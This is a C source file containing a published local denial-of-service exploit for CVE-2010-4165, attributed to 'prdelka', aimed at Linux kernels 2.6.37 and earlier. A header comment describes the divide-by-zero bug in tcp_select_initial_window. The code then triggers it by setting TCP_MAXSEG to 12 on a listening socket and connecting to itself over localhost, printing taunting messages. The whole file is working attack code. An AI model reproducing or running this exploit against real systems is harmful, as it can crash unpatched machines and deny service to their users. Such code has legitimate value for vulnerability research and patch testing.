/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165) * ======================================================= * A divide by 0 error occurs in tcp_select_initial_window * when processing user supplied TCP_MAXSEG facilitating a * local denial-of-service condition (kernel oops!) in all * Linux Kernel 2.6.x branch (2.6.37 & below). This issue * can be triggered easily with a call to setsockopt() on * a listening network socket and then establishing a TCP * connection to the awaiting socket. * * -- prdelka * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { int optval, optlen, ret, sd, sd2, pid; char *host = "localhost"; struct sockaddr_in locAddr; struct sockaddr_in servAddr; struct sockaddr_in dstAddr; printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); sd = socket(AF_INET, SOCK_STREAM, 0); memset(&servAddr,0,sizeof(servAddr)); memset(&dstAddr,0,sizeof(dstAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(60000); servAddr.sin_addr.s_addr = INADDR_ANY; dstAddr.sin_family = AF_INET; inet_aton("127.0.0.1", &dstAddr.sin_addr); dstAddr.sin_port = htons(60000); if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){ printf("[ Cannot bind listener service\n"); exit(-1); } listen(sd,4); optval = 12; ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval)); if(ret==0) { printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n"); int sin_size = sizeof(struct sockaddr_in); switch(pid = fork()) { case 0: sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size); sleep(3); default: sd2 = socket(AF_INET, SOCK_STREAM, 0); connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr)); sleep(3); } } printf("[ System is patched, no dreams for this prince\n"); return 0; }